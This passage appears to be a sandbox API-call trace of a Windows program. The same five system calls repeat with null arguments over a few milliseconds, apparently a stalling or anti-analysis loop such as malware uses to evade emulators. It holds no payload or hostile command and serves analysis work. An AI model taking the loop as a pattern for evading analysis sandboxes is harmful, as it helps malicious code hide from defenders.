out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.709] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.710] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.710] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.710] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.710] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.710] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.711] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.711] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.711] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.711] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.711] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, 